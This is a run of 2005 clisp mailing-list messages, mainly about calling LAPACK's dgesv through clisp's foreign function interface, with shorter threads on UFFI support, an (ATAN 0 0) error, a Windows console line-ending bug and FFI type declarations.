(if (=3D info 0) (dotimes...) (error ...))
or (if (=3D info 0) (dotimes...) nil-or-some-such)

>	(free-alien ipiv-alien)
>	(free-alien x-alien)
>	(free-alien mat-alien)))
>    #+clisp
>    (with-foreign-object (mat-alien `(ffi:c-array double-float=20
>,(* n n)))
>      (with-foreign-object (x-alien `(ffi:c-array double-float ,n))
>        (with-foreign-object (ipiv-alien `(ffi:c-array int ,n))
>	  (dotimes (i n)
>	    (dotimes (j n)
>	      (setf (element (foreign-value mat-alien) (+ i (* n j))) 
>		    (aref matrice i j))))
>	  (dotimes (i n)
>	    (setf (element (foreign-value x-alien) i) (aref y i)))

This is strictly superfluous and cumbersome. Let clisp work for your:
(with-foreign-object (x-alien `... y)
The array will be initialized (converted) from y.

The same could be used with the two-dimensional array mat-alien, =
although the URL above makes we wonder whether indices are in the same =
order.

>	  (with-c-var (n 'int n)
>	    (with-c-var (nrhs 'int 1)
>	      (with-c-var (lda 'int n)
>                (with-c-var (ldb 'int n)

You do not need these. Just pass the number to the function, and clisp =
will construct a pointer to a location holding the number, mandated by =
the (c-ptr int) :in declaration.

>	          (with-c-var (info 'int 123)
>		    (multiple-value-bind (info)

Here you shadow the outer lexical variable info, which is not intended.

>                       (dgesv n nrhs (foreign-address mat-alien)
>			      lda (foreign-address ipiv-alien)=20

This is bogus. You missed (c-var-address n), (c-var-address nrhs)...
What happens is that a foreign is stack-allocated, convert from Lisp. =
Then passign n converts it back again. It's not an address that gets =
passed to the function, its a value. (C-PTR INT) expects an integer =
value.

But as I said, with-c-var is strictly superfluous for these, just pass =
the integer value.

>			      (foreign-address x-alien) ldb info)
>		       (let ((resul (make-array `(,n)=20
>						:element-type=20
>'double-float)))
>			 (dotimes (i n (values resul (=3D info 0)))
>			   (setf (aref resul i)=20
>				 (element (foreign-value=20
>x-alien) i)))))))))))))
>    ))

Same here as for cmucl:
(with-c-var (x-alien `... y)
  ... pass (c-var-address x-alien)
  (if (=3D info 0) ipiv)
or
(with-foreign-object (x-alien `... y)
  ... pass ipiv (the pointer), (foreign-address ipiv) is not needed
  (if (=3D info 0) (foreign-value x-alien))

You'll notice the similarity of with-c-var and c-var-address with cmucl =
where you need the addr operator.


Whether you choose with-foreign-object or with-c-var is somewhat a =
matter of taste. In many cases, using c-var is IMHO a preferable choice =
because it allows more concise source code, but using foreign-object =
gives greater control and is not subject to hidden conversion / =
back-conversion errors -- as shown above, so YMMV.
>Any comments from the clisp developers and users ?
Plenty:-)

Regards,
	J=F6rg H=F6hle.


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Hi again,

I sent plenty of comments in the other e-mail, so here's the summary =
and proposed solutions (all untested).

(defun solve (matrice y)
  "R=E9solution MATRICE * x =3D Y par lapack"
  (let ((n (array-dimension matrice 0)))
    (with-foreign-object (mat-alien `(c-array double-float ,(* n n)) =
matrice)
      (with-c-var (x-alien `(c-array double-float ,n) y)
        (with-foreign-object (ipiv-alien `(c-array int ,n))
	  (let ((info (dgesv
		       n
		       1 ; nrhs
		       mat-alien
		       n ; lda
		       ipiv-alien
		       (c-var-address x-alien)
		       n))) ; ldb
	    (if (=3D info 0) x-alien info)))))))
Just an example, I would actually not recommend mixing c-var and
foreign-object. Just stick to one, consistently.

To be used with
(ffi:def-call-out dgesv
  (:name "dgesv_")
  (:return-type nil)
  (:language :stdc)
  (:library "liblapack.so")
  (:arguments (n (c-ptr int))
	      (nrhs (c-ptr int))
	      (a c-pointer) ; conceptually :in-out (c-ptr double-float ...)
	      (lda (c-ptr int))
	      (ipiv c-pointer) ; conceptually :out (c-ptr double-float n)
	      (b c-pointer) ; conceptually :in-out (c-ptr double-float ...)
	      (ldb (c-ptr int))
	      (info (c-ptr int) :out)))


One may recognize that this, again, is an instance of passing variable =
length arrays to/from functions. Now that the foreign function =
constructor is easily available in clisp, we can do this:

(defun memofn (n) ; actual memoization not shown
  (parse-c-type
   `(c-function
     (:return-type nil)
     (:arguments (n (c-ptr int))
		 (nrhs (c-ptr int))
		 ; a is strictly :in-out, but we throw away the result here
		 (a (c-ptr (c-array double-float ,n ,n)) :in)
		 (lda (c-ptr int))
		 (ipiv (c-ptr (c-array double-float ,n)) :out)
		 ; b is strictly :in-out, but we throw away the result here
		 (b (c-ptr (c-array double-float ,n)))
		 (ldb (c-ptr int))
		 (info (c-ptr int) :out))
     (:language :stdc))))

(defun solve (matrice y)
  ;; This code is bad, because the result is dereferenced even in case =
of
  ;; error. In general, doing so could result in run-time conversion =
errors.
  (multiple-value-bind (ipiv info)
      (funcall
       (foreign-function #'dgesv (memofn (length y)))
       n 1 matrice n y n)
    (if (=3D info 0) ipiv)))


In order to not dereference :out variables upon failures, we have to do =
what clisp does internally by hand: stack-allocated variables are =
manipulated explicitly then, with-foreign resurfaces:

(defun memofn (n) ; actual memoization not shown
  (parse-c-type
   `(c-function
     (:return-type nil)
     (:arguments (n (c-ptr int))
		 (nrhs (c-ptr int))
		 ; a is strictly :in-out, but we throw away the result here
		 (a (c-ptr (c-array double-float ,n ,n)) :in)
		 (lda (c-ptr int))
		 (ipiv c-pointer) ; conceptually :out (c-ptr double-float n)
		 ; b is strictly :in-out, but we throw away the result here
		 (b (c-ptr (c-array double-float ,n)))
		 (ldb (c-ptr int))
		 (info (c-ptr int) :out))
     (:language :stdc))))
; this differs from the above for ipiv.

(defun solve (matrice y)
  (let ((n (length y)))
    (with-foreign-object (ipiv `(c-array double-float ,n))
      (let ((info (funcall (foreign-function
			    #'dgesv (memofn (length y)))
			   n 1 matrice n ipiv y n)))
	(if (=3D info 0) (foreign-value ipiv))))))

I expect this memoized function declaration stuff to beat any custom =
nesting of with-foreign-object any time -- if memoized. Please report.

One could also memoize the result of foreign-function, but that's less =
likely to work across saved images.

BTW, UFFI is very far from such conciseness. But then, it's just a =
matter of piling up macros.


Remembers me that some month ago, I talked about a macro to provide =
exactly such variable-length function definition ability, with :guards =
(for :output checks) and bells and whistles. Any volunteer?

Regards,
	J=F6rg H=F6hle


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Hi,

W.r.t. UFFI/CLISP: please go to the clisp patches section, you'll find =
my UFFI wrapper macros. I just updated it to reflect my current file. =
Please report problems to me (CC) and clisp-list (or clisp-devel, which =
I occasionaly read).

Basically, the single one problem is the difference in semantics of =
(C-ptr xyz): CLISP says
"(FFI:C-PTR c-type)  This type is equivalent to what C calls c-type *: =
a pointer to a single item of the given c-type."

All other implementations and UFFI allow arbitrary array access of a (* =
foo), like pointer arithmetic in C.
Witness Bernard's lapack code: declare (* double-float) and (deref ptr =
array-index) it in cmucl. For some situations, I believe UFFI has means =
to work around that (e.g. with-cast-pointer), after all, I got cl-sql =
to work with clisp with my code, but ideally, a cast should not be =
needed for a thing declared as an array -- (:array foo) as opposed to =
(* foo) in UFFI syntax.

Regards,
	J=F6rg H=F6hle.


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Joerg,
I just realized that you too are working on CLISP/UFFI.
Great!

Pascal, Joerg,

could you please merge your code and finally get the official
UFFI to support CLISP?

Thanks!

Pascal: <http://www.informatimago.com/develop/lisp/>
Joerg: <http://sourceforge.net/tracker/index.php?func=detail&aid=1028683&group_id=1355&atid=301355>

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can anyone give me a clue what is causing the divide by
zero error when i try to load or compile is file?
It seems to compile and run fine on cmucl and also
sbcl.

You can download a copy of the program from
http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz
and you can compile it with (load "main.lisp")

If someone can give me a hint as to what's happening
it would be great.  thanks.



; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST))
; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH))
; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH))
; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST))
; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST))
; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST))
; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST))
; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION))

Wrote file /home/web/jimka/lisp/blocker/game.fas
0 errors, 1 warning
;;  Loading file /home/web/jimka/lisp/blocker/game.fas ...
*** - division by zero


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Jim Newton writes:
> can anyone give me a clue what is causing the divide by
> zero error when i try to load or compile is file?
> It seems to compile and run fine on cmucl and also
> sbcl.
> 
> You can download a copy of the program from
> http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz
> and you can compile it with (load "main.lisp")
> 
> If someone can give me a hint as to what's happening
> it would be great.  thanks.
> 
> 
> 
> ; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST))
> ; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH))
> ; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH))
> ; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST))
> ; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST))
> ; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST))
> ; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST))
> ; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION))
> 
> Wrote file /home/web/jimka/lisp/blocker/game.fas
> 0 errors, 1 warning
> ;;  Loading file /home/web/jimka/lisp/blocker/game.fas ...
> *** - division by zero

Using the debugger may help locate the origin of the bug.

http://www.podval.org/~sds/clisp/impnotes/debugger.html

Start by typing:

? RET

to get a list of debugger commands, then type:

:bt RET

to see the backtrace and locate the exact expression that produced
this error.  Then with :u and :d you can move up and down the lexical
frames, and you will be able to type normal lisp expressions to
examine variable values.


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Thanks i found the problem, i think.  (ATAN 0 0) returns
0.0 in CMUCL and SBCL but signals a div-by-zero error
in CLISP.  I checked the hyperspec and indeed it says
that (ATAN 0 0) gives  undefined consequences.


Thanks for the information.
-jim


Pascal J.Bourguignon wrote:
> Jim Newton writes:
> 
>>can anyone give me a clue what is causing the divide by
>>zero error when i try to load or compile is file?
>>It seems to compile and run fine on cmucl and also
>>sbcl.
>>
>>You can download a copy of the program from
>>http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz
>>and you can compile it with (load "main.lisp")
>>
>>If someone can give me a hint as to what's happening
>>it would be great.  thanks.
>>
>>
>>
>>; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST))
>>; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH))
>>; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH))
>>; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST))
>>; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST))
>>; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST))
>>; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST))
>>; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION))
>>
>>Wrote file /home/web/jimka/lisp/blocker/game.fas
>>0 errors, 1 warning
>>;;  Loading file /home/web/jimka/lisp/blocker/game.fas ...
>>*** - division by zero
> 
> 
> Using the debugger may help locate the origin of the bug.
> 
> http://www.podval.org/~sds/clisp/impnotes/debugger.html
> 
> Start by typing:
> 
> ? RET
> 
> to get a list of debugger commands, then type:
> 
> :bt RET
> 
> to see the backtrace and locate the exact expression that produced
> this error.  Then with :u and :d you can move up and down the lexical
> frames, and you will be able to type normal lisp expressions to
> examine variable values.
> 
> 



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I've compiled clisp-2.33.83 (cvs ~ 2005-04-22) on cygwin on Microsoft
Windows 98 with:

OPTIONS=(--prefix=/usr/local/languages/clisp-2.33.83-cvs-p1 \
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         --with-module=wildcard)
./configure ${OPTIONS[@]} \
&& cd src \
&& ./makemake ${OPTIONS[@]} > Makefile \
&& make config.lisp \
&& make \
&& make check

It resulted in one erg:

% cat streams.erg
Form: (CLEAR-INPUT *QUERY-IO*)
CORRECT: NIL
CLISP  : ERROR
UNIX error 2 (ENOENT): No such file or directory


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

[...]

> Instead of declaring dummy functions just so to get the library opened,
> You could try out ffi:foreign-library instead (oops, it appears it's not exported from FFI, so use ffi::foreign-library
> (defparameter *fortran-lib* (ffi::foreign-library "libmyf77.so"))

Notice that ffi::foreign-library is not in the documentation of
2.33.2, so I missed it.

> Yet maybe declaring functions is better, because I forgot what happens in case
> a) the library pointer is gc'ed (if you don't store it some place)
> b) you save the image and restart from that.
>
>>In case of lapack, this is probably voluntary, as there are several
>>blas libraries available, and you may want to specify a given one. The
>>same is true for the underlying Fortran library (f2c and g77 at least
>>are available). 
> Ok, so really you need dlopen() to look at symbols also in libraries previously loaded.
> What do you need RTLD_LAZY for?

Most runtime Fortran libraries have an undefined symbol (often called
MAIN_), which is the entry point of the program to be defined by the
user with a PROGRAM statement. Without RTLD_LAZY, you are obliged to
link to a dummy shared object with that symbol.

> I'll comment another time on your code. For that, I'd appreciate a URL to the documentation for the functions you unterface to.
>

In your following mails, you obviously find them; a good place to look
is the lapack-doc Debian packages (man pages).

Thank you for your comments about my code, I will test your
suggestions and mail you back the results.

Regards.

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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi again,
>
> I sent plenty of comments in the other e-mail, so here's the summary and =
proposed solutions (all untested).
>
> (defun solve (matrice y)
>   "R=E9solution MATRICE * x =3D Y par lapack"
>   (let ((n (array-dimension matrice 0)))
>     (with-foreign-object (mat-alien `(c-array double-float ,(* n n)) matr=
ice)

It does not work, due to rank differences. The conversion works if we
write:
(with-foreign-object (mat-alien `(c-array double-float (,n ,n)) matrice)
Here mat-alien is a 2-dimensional C array, that means a pointer to a
pointer to a double. But 2-D arrays in Fortran are always 1-D behind
the scene. So this won't work either.

>       (with-c-var (x-alien `(c-array double-float ,n) y)
>         (with-foreign-object (ipiv-alien `(c-array int ,n))
> 	  (let ((info (dgesv
> 		       n
> 		       1 ; nrhs
> 		       mat-alien
> 		       n ; lda
> 		       ipiv-alien
> 		       (c-var-address x-alien)
> 		       n))) ; ldb

Nice, you do not need to pass the :out argument ! After verification,
yes, it is in the FFI documentation, but I did not believe the FFI was
so smart.

> 	    (if (=3D info 0) x-alien info)))))))

Actually, in most of the Lapack subroutines, an non-null info value is
not an error, and the returned values contain meaningful information
(reduction to triangular form, some eigenvalues computed...).=20
If there is an error, Lapack quits (hence my question about how to
intercept the Fortran STOP statement).

[...]

> One may recognize that this, again, is an instance of passing variable le=
ngth arrays to/from functions. Now that the foreign function constructor is=
 easily available in clisp, we can do this:
>
> (defun memofn (n) ; actual memoization not shown
>   (parse-c-type
>    `(c-function
>      (:return-type nil)
>      (:arguments (n (c-ptr int))
> 		 (nrhs (c-ptr int))
> 		 ; a is strictly :in-out, but we throw away the result here
> 		 (a (c-ptr (c-array double-float ,n ,n)) :in)

You mean
 (a (c-ptr (c-array double-float (,n ,n))) :in)

> 		 (lda (c-ptr int))
> 		 (ipiv (c-ptr (c-array double-float ,n)) :out)
> 		 ; b is strictly :in-out, but we throw away the result here
> 		 (b (c-ptr (c-array double-float ,n)))
> 		 (ldb (c-ptr int))
> 		 (info (c-ptr int) :out))
>      (:language :stdc))))
>
> (defun solve (matrice y)
>   ;; This code is bad, because the result is dereferenced even in case of
>   ;; error. In general, doing so could result in run-time conversion erro=
rs.
>   (multiple-value-bind (ipiv info)
>       (funcall
>        (foreign-function #'dgesv (memofn (length y)))
>        n 1 matrice n y n)
>     (if (=3D info 0) ipiv)))

So here also ipiv is automatically allocated ?

> In order to not dereference :out variables upon failures, we have to do w=
hat clisp does internally by hand: stack-allocated variables are manipulate=
d explicitly then, with-foreign resurfaces:
>
> (defun memofn (n) ; actual memoization not shown
>   (parse-c-type
>    `(c-function
>      (:return-type nil)
>      (:arguments (n (c-ptr int))
> 		 (nrhs (c-ptr int))
> 		 ; a is strictly :in-out, but we throw away the result here
> 		 (a (c-ptr (c-array double-float ,n ,n)) :in)
> 		 (lda (c-ptr int))
> 		 (ipiv c-pointer) ; conceptually :out (c-ptr double-float n)
> 		 ; b is strictly :in-out, but we throw away the result here
> 		 (b (c-ptr (c-array double-float ,n)))
> 		 (ldb (c-ptr int))
> 		 (info (c-ptr int) :out))
>      (:language :stdc))))
> ; this differs from the above for ipiv.
>
> (defun solve (matrice y)
>   (let ((n (length y)))
>     (with-foreign-object (ipiv `(c-array double-float ,n))
>       (let ((info (funcall (foreign-function
> 			    #'dgesv (memofn (length y)))
> 			   n 1 matrice n ipiv y n)))
> 	(if (=3D info 0) (foreign-value ipiv))))))

Nice, but see above my remark about info return values.
I guess you still need a def-call-out definition, as #'dgesv is
not known with the above code alone.

> I expect this memoized function declaration stuff to beat any custom nest=
ing of with-foreign-object any time -- if memoized. Please report.

If n varies from call to call, as is typically the case, it will not
help. I am wondering why in clisp foreign arrays must have fixed
dimensions ?

> One could also memoize the result of foreign-function, but that's less li=
kely to work across saved images.
>
> BTW, UFFI is very far from such conciseness. But then, it's just a matter=
 of piling up macros.
>
>
> Remembers me that some month ago, I talked about a macro to provide exact=
ly such variable-length function definition ability, with :guards (for :out=
put checks) and bells and whistles. Any volunteer?
>
> Regards,
> 	J=F6rg H=F6hle
>

Thank you a lot for your comments, my code has already improved much.

--=20

Bernard Urban


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Hi,
[sorry if you already got this, there's a hopefully intermittent =
problem with the dumb MS-Exchange->SMTP gateway]

Bernard Urban wrote:
>I guess you still need a def-call-out definition, as #'dgesv is
>not known with the above code alone.

Sure, you need a "prototype" definition for #'dgesv, and that will be =
redefined (cast) dynamically via the FOREIGN-FUNCTION constructor.


>>     (with-foreign-object (mat-alien `(c-array double-float=20
>,(* n n)) matrice)

>It does not work, due to rank differences. The conversion works if we
>write:
>(with-foreign-object (mat-alien `(c-array double-float (,n=20
>,n)) matrice)
>Here mat-alien is a 2-dimensional C array, that means a pointer to a
>pointer to a double. But 2-D arrays in Fortran are always 1-D behind
>the scene. So this won't work either.

I don't understand what you mean. 2D arrays in CLISP (and cmucl) are =
not pointer rows of pointers to doubles, (like char*argv[]), they are =
n*m doubles in sequence.

Otherwise, the following would yield garbage:
(with-c-var (m '(c-array uint8(2 3)) #2a((1 2 3)(4 5 6)))
  (cast m '(c-array uint8 6)))
-> #(1 2 3 4 5 6)

BTW, I forgot to recommend you investigate ROW-MAJOR-AREF instead of
using nested loops across the matrix (as in your cmucl code).

Maybe you wanted to express that the Fortran matrix does not use =
row-major order like Lisp (and C)? Indeed, your nested dotimes code is =
not expressing row-major order.
>	    (dotimes (i n)
>	      (dotimes (j n)
>		(setf (deref mat-alien (+ i (* n j))) (aref matrice i j))))
Alternatively, you could transpose the matrix?
(There was some mention of array element ordering varying between C and =
FORTRAN in the URLs I visited, maybe I now understand).

An alternative could be a (:language :fortran) extension to the FFI, =
that would treat matrices that way. Don't count on this.

>Nice, you do not need to pass the :out argument !
Same with cmucl, BTW, IIRC (that was ten years ago).


>If there is an error, Lapack quits (hence my question about how to
>intercept the Fortran STOP statement).

I have no idea. The two URLs I mentioned do not document the API you =
have (they pass integers directly, not pointers to :in integers). You =
have to consult the API. Maybe there's a callback or some such that is =
called in exceptional situations.

Throwing out of foreign code is often dangerous (unreliable in general =
-- think about unwind-protect across language barriers), you have to =
know the details of the concerned languages. Possibly there's some =
callback that you could install.


>You mean
> (a (c-ptr (c-array double-float (,n ,n))) :in)
Thank you very much! Indeed, that's the syntax,
not (c-array type n1 n2 ... nm). Silly me!

>So here also ipiv is automatically allocated ?
Yes, allocated on the stack prior to call, and convert to a Lisp array =
upon exit, thanks to:
		 (ipiv (c-ptr (c-array double-float ,n)) :out)

BTW, in the example where you allocate it yourself, I wrote:
		 (ipiv c-pointer) ; conceptually :out (c-ptr double-float n)
You could also write (ipiv (c-pointer (c-array double-float n))) =
;conceptually :out
This will give you better documentation and type-checks (note it's =
(c-pointer xyz), not (c-ptr xyz)). But it's a minor point (and a little =
slower).

Regards,
	J=F6rg H=F6hle.


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> * Doug Currie <r@synibef.pbz> [2005-03-23 19:06:58 -0500]:
>
> If I remove the <CR><LF> from the lines I paste into the console, the
> error goes away. This is with the native windows console, with a clisp
> compiled with MinGW/msys on WinXP.

what happens when you replace CRLF with just CR or just LF?

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Tuesday, May 24, 2005, 2:36:41 PM, you wrote:

>> * Doug Currie <r@synibef.pbz> [2005-03-23 19:06:58 -0500]:
>>
>> If I remove the <CR><LF> from the lines I paste into the console, the
>> error goes away. This is with the native windows console, with a clisp
>> compiled with MinGW/msys on WinXP.

> what happens when you replace CRLF with just CR or just LF?

With just CR it seems to work fine.

With just LF there is no LISP error, but the LF does not make a line
break in the console.

With CRLF it usually, but not always!?, gives an error, e.g.,
*** - code contains a dotted list, ending with L

Is there some line-ending mode in the REPL? The error seems most
likely in a fresh console, and less likely after pasting a non-CRLF
text followed by a paste of a CRLF text.

Caveat, I'm not sure what processing the WinXP command console window
may be doing to the text I paste.

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Date: Wed May 25 00:21:55 2005
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Hi,

Bernard Urban wrote:
>Notice that for big matrices (hum, not so big, 200x200 is sufficient), 
>we have stack overflow in the clisp version. Not in cmucl which
>uses malloc().

Could you please try to narrow this down? I'm somewhat fed up with stack overflow bugs myself, yet I remember having allocated even 1MB on stack years ago when I measured the performance of the ancient regex module. Heck, we are not on the Amiga which defaulted to 4KB stacks these days!

You need not even link to foreign libraries to test this out. Have a look at tests/ffi.lisp in the source (or CVS), which defines a function c-self * -> * which you can typecast to anything, or just use with-foreign without calling another function. Perhaps that's enough to trigger the bug?

Generally, I have no idea about the OS stack limits. 40000 double-floats (presumably 8 bytes, total 320.000) doesn't seem that large (I've heard of a 2MB default on Linux, not to mention that I thought stack extension would work on modern UNIX?!?).

But if you need to depart from stack-allocated objects, you'll be close to with-alien/foreign-object code. Consider writing a macro like with-foreign-object that uses allocate-foreign, unwind-protect and foreign-free instead.

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	Jorg Hohle


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Date: Wed May 25 00:37:19 2005
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Hi,

Bernard Urban wrote:

>No, I think I will need to write a C function having the same
>name as the one implementing the STOP statement, 
>which returns to Lisp (problem not investigated so far), 
>and link to it before dlopening libf2c. 
I see two solution paths:
a) have C:STOP() set a variable, that you can query (def-c-var) upon return on your function.
b) Have C:STOP() call a callback initially set via another C:hand-written() function. That callback would signal an error.
(defun fortran-stopped ()
  (error "Fortran"))
(def-call-out hand-written (:arguments (callback (c-function (:arguments)(:return-type void)))))
(defun initialize()
  (hand-written #'fortran-stopped))
See impnotes and tests/ffi.tst for further callback examples.

BTW, what does cmucl say about the undefined STOP?

a) is much more portable across Lisps.
b) is likely to cause problems with C++ code (destructors and unwind-protect not being called...), but is good enough for C and presumably Fortran (I haven't heard of unwind-protect like construct in Fortran, but what do I know about it).

Generally, raising exceptions across language barriers is hairy.

Regards,
	Jorg Hohle.


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Hi,

Bernard Urban wrote:
>> I don't understand what you mean. 2D arrays in CLISP (and 
>cmucl) are not pointer rows of pointers to doubles, (like 
>char*argv[]), they are n*m doubles in sequence.
>Yes, but in C, non-static 2D arrays are like char*argv[],
What's the definition of a non-static 2D array in C?

>and you are converting to such a beast.
No, I'm not! [cf. Monty Python]

>In Fortran, arrays are organized as in Lisp.
Row-major first, are your sure? Your code does it the other way round.

>> Otherwise, the following would yield garbage:
>> (with-c-var (m '(c-array uint8(2 3)) #2a((1 2 3)(4 5 6)))
>>   (cast m '(c-array uint8 6)))
>> -> #(1 2 3 4 5 6)
>Are you sure cast does not revert from the char*argv[] representtaion
>to the original ? My experiences with such things did not work in my
>lapack tests. 
FFI:CAST does nothing but check that SIZEOF and ALIGNOF match.

I'm sure I'm talking about 6 consecutive uint8 in memory. No *argv[].
There's a huge difference between
 (c-array (c-ptr (c-array x n) m) and
 (c-array (c-array x n) m).

I'm talking solely about the latter (2nd):
(with-c-var(m '(c-array uint8 (2 3)) #2a((1 2 3)(4 5 6)))
  (cast m '(c-array (c-array uint8 3) 2)))
-> #(#(1 2 3) #(4 5 6))
And it's an array of this kind that your initial cmucl and clisp code is filling.

(with-c-var(m '(c-array uint8 (2 3)) #2a((1 2 3)(4 5 6)))
  (cast m '(c-array (c-array uint8 2) 3)))
-> #(#(1 2) #(3 4) #(5 6))

>By the way, this is a method to coerce the rank of matrices !
It's exactly like the CLHS example on ARRAY-ROW-MAJOR-INDEX, showing off a displaced array using a different rank (giving a linear view on a matrix).

Regards,
	Jorg Hohle


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> * Doug Currie <r@synibef.pbz> [2005-05-24 18:10:31 -0400]:
>
> Tuesday, May 24, 2005, 2:36:41 PM, you wrote:
>
>>> * Doug Currie <r@synibef.pbz> [2005-03-23 19:06:58 -0500]:
>>>
>>> If I remove the <CR><LF> from the lines I paste into the console, the
>>> error goes away. This is with the native windows console, with a clisp
>>> compiled with MinGW/msys on WinXP.
>
>> what happens when you replace CRLF with just CR or just LF?
>
> With just CR it seems to work fine.
>
> With just LF there is no LISP error, but the LF does not make a line
> break in the console.
>
> With CRLF it usually, but not always!?, gives an error, e.g.,
> *** - code contains a dotted list, ending with L

apparently, some CRLFs are turned into #\L (or #\l).

also, I notices that this happens only when the region is not terminated
by a newline.
do you confirm this?

> Is there some line-ending mode in the REPL?

*TERMINAL-ENCODING* does have the :LINE-TERMINATOR property, but it is
used only for output, not input.

> The error seems most likely in a fresh console, and less likely after
> pasting a non-CRLF text followed by a paste of a CRLF text.


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There are many libs out there relying on UFFI. Since UFFI is not supported by 
CLISP (or vice versa) this unfortunately limits the usage and value of CLISP. 
Are there any plans to bring UFFI - compatibility to CLISP?
What other possibilities are there to make use of e.g. cl-sdl with CLISP?

oni


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> * Onay Urfalioglu <hesnyvbt@gag.hav-unaabire.qr> [2005-05-25 16:04:01 +0200]:
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> Are there any plans to bring UFFI - compatibility to CLISP?

search <http://clisp.cons.org/resources.html> for uffi

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clisp from CVS head, mingw

[1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200))
T1
[2]> (defconstant s1 200)
S1
[3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1))

*** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1)
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]>

Why?

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-05-25 17:47:36 +0300]:
>
> clisp from CVS head, mingw
>
> [1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200))
> T1
> [2]> (defconstant s1 200)
> S1
> [3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1))
>
> *** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1)
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [4]>
>
> Why?

S1 is not evaluated.
try
(eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1)))
or
(ffi:def-c-type t2 (ffi:c-array ffi:character #.s1))

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Sam Steingold:

>>clisp from CVS head, mingw
>>
>>[1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200))
>>T1
>>[2]> (defconstant s1 200)
>>S1
>>[3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1))
>>
>>*** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1)
>>The following restarts are available:
>>ABORT          :R1      ABORT
>>Break 1 [4]>
>>
>>Why?
> 
> 
> S1 is not evaluated.
> try
> (eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1)))
> or
> (ffi:def-c-type t2 (ffi:c-array ffi:character #.s1))

Thanks.

The requirement "evaluated expression for c-type" meets in impnotes only
(FFI:WITH-C-VAR...
And only in description (FFI:WITH-C-VAR... it is shown as to bypass this
requirement. (and only first your variant)
Can be is necessary this requirement to issue separate point in the
beginning of chapter "31.3.1. Overview"?

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clisp from CVS head, mingw

Part of tcl.h:
  ...
  typedef void (Tcl_FreeProc) _ANSI_ARGS_((char *blockPtr));
  ...
  typedef struct Tcl_SavedResult {
      char *result;
      Tcl_FreeProc *freeProc;...
  ...
  #define TCL_VOLATILE	((Tcl_FreeProc *) 1)
  ...

Part of tcl.lisp:

(ffi:def-c-type Tcl_FreeProc
  (ffi:c-function (:return-type NIL)
    (:arguments (blockPtr ffi:c-string)))) ;; may be change to
                                           ;; ffi:c-pointer

(ffi:def-c-struct (Tcl_SavedResult :typedef)
                  (result ffi:c-string)
                  (freeProc Tcl_FreeProc) ...
...

How it is possible realize TCL_VOLATILE?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-05-26 10:11:51 +0300]:
>
> Can be is necessary this requirement to issue separate point in the
> beginning of chapter "31.3.1. Overview"?

how about this:

<note><simpara>Unless specifically noted otherwize, type specification
  parameters are not evaluated, so that they can be compiled by
  &parse-c-type; into the internal format at macroexpansion time.
</simpara></note>

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Date: Thu May 26 18:13:50 2005
X-Original-Date: Thu, 26 May 2005 21:12:46 -0400

Wednesday, May 25, 2005, 9:26:48 AM, you wrote:

>> * Doug Currie <r@synibef.pbz> [2005-05-24 18:10:31 -0400]:
>>
>> Tuesday, May 24, 2005, 2:36:41 PM, you wrote:
>>
>>>> * Doug Currie <r@synibef.pbz> [2005-03-23 19:06:58 -0500]:
>>>>
>>>> If I remove the <CR><LF> from the lines I paste into the console, the
>>>> error goes away. This is with the native windows console, with a clisp
>>>> compiled with MinGW/msys on WinXP.
>>
>>> what happens when you replace CRLF with just CR or just LF?
>>
>> With just CR it seems to work fine.
>>
>> With just LF there is no LISP error, but the LF does not make a line
>> break in the console.
>>
>> With CRLF it usually, but not always!?, gives an error, e.g.,
>> *** - code contains a dotted list, ending with L

> apparently, some CRLFs are turned into #\L (or #\l).

> also, I notices that this happens only when the region is not terminated
> by a newline.
> do you confirm this?

Yes. Strange but true.

If I paste several lines into the console with CRLF line endings, but
there this no line termination on the final line, and then I type
<enter> on the keyboard, I get
